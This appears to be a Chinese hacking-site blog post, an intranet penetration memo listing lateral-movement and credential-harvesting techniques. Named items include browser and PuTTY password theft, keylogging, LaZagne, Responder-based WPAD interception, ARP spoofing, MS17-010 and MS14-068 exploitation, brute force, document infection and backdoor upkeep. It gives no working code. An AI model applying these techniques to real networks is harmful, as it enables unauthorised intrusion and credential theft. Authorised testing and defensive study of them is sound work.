mssql Get-SQLServerAccess、MySQL 低版本 hash 登陆、MySQL 低版本Authentication Bypass、域内 mssql 凭证获取密码、monggodb 未授权访问、memcache 配置不当
内网中很多 web 应用存在常见漏洞、使用有漏洞的中间件和框架、弱口令及配置不当(注入、任意文件读取、备份、源码泄漏(rsync、git、svn、DS_Store)、代码执行、xss、弱口令、上传漏洞、权限绕过…)
web应用、及数据库中寻找其他服务器密码信息(ftp、mail、smb、ldap存储、sql...)
系统备份文件(ghost)中读密码
在已有控制权限主机中,查看各浏览器书签、cookie、存储密码、键盘记录收集相关敏感信息、查询注册表中保存密码、读取各客户端连接密码、putty dll注入、putty 密码截取、ssh 连接密码,以获取更多主机权限
推荐工具:NetRipper、Puttyrider.exe、ProwserPasswordDump.exe、LaZagne.exe
ms08-067 远程溢出(极少能碰到)
cmdkey /list 远程终端可信任连接连接 netpass.exe 读取该密码
arp欺骗中间人攻击(替换 sql 数据包、认证凭证获取、密码获取极大不到万不得已不会用)
WPAD 中间人攻击(全称网络代理自动发现协议、截获凭证该种方法不需要ARP欺骗,比较好用的一种方法(使用Responder.py/net-creds.py))
翻阅相关文件及以控制数据库中可能存储配置口令(别忘了回收站)
用已有控制权限的邮箱账号以及前期所了解到的信息进行欺骗(社会工程学)
定向浏览器信息ip信息定向挂马(0day)
用以收集的密码(组合变换密码)对各服务进行爆破
其他用户 session,3389 和ipc 连接记录 各用户回收站信息收集
host 文件获取和 dns 缓存信息收集 等等
杀软 补丁 进程 网络代理信息 wpad 信息。软件列表信息
计划任务 账号密码策略与锁定策略 共享文件夹 web 服务器配置文件
vpn 历史密码等 teamview 密码等 启动项 iislog 等等

主动手段 就是 snmp 扫交换机路由网络设备(有 tcp 连接存活表列 一般可以定位到经常访问的服务ip)
遍历 内网的所有段 + tracert 跟踪路由 一下拓扑基本就清楚了
被动手段就是上内部通讯平台 一般是邮箱
如果是有堡垒隔离和 vlan 隔离的还要拿到相应权限网络设备做管道穿越才行 通讯都做不了就不要谈后续渗透了
横向渗透 smb 感染 pdf doc +RDP 感染管理机 动静小一点就插管道连接钓 NTHASH
域控只能看看 普通用户机上有没有令牌可以伪造 ms14-068 是否存在

搜集的信息列出来,就不贴了:

服务器当前所在网段的所有主机端口
服务器ARP缓存
服务器上的服务
内网中其他HTTP服务
满足容易利用的漏洞端口 (MS17010 / 445)
抓包嗅探还是很有必要的 (千万不要ARP %@#@@651#@^#@@#@@###@@!)
共享文件
密码

在行动之前思考几分钟,有没有更好的办法
思考一个问题多个解决方案的利弊
尽量快速熟悉网络环境 -> [前提是你已经熟悉了服务器环境] 对日志要时刻保持敏感
看子网掩码、计算子网大小,判断有没有VLAN
选取自己熟悉的协议进行信息搜集
网络命令一定要熟
对于后门要加强维护
你必须保证你花费98%的时间都在了解他们
学习使用Powershell和熟练掌握端口转发

渗透测试的本质是信息收集

扩展阅读

https://github.com/tom0li/collection-document

本文由 华域联盟 原创撰写:华域联盟 » 内网备忘录

转载请保留出处和原文链接:https://www.cnhackhy.com/106112.htm

本文来自网络,不代表华域联盟立场,转载请注明出处。

作者: sterben

发表回复

联系我们

联系我们

2551209778

在线咨询: QQ交谈

邮箱: [email protected]

工作时间:周一至周五,9:00-17:30,节假日休息

关注微信
微信扫一扫关注我们

微信扫一扫关注我们

关注微博
返回顶部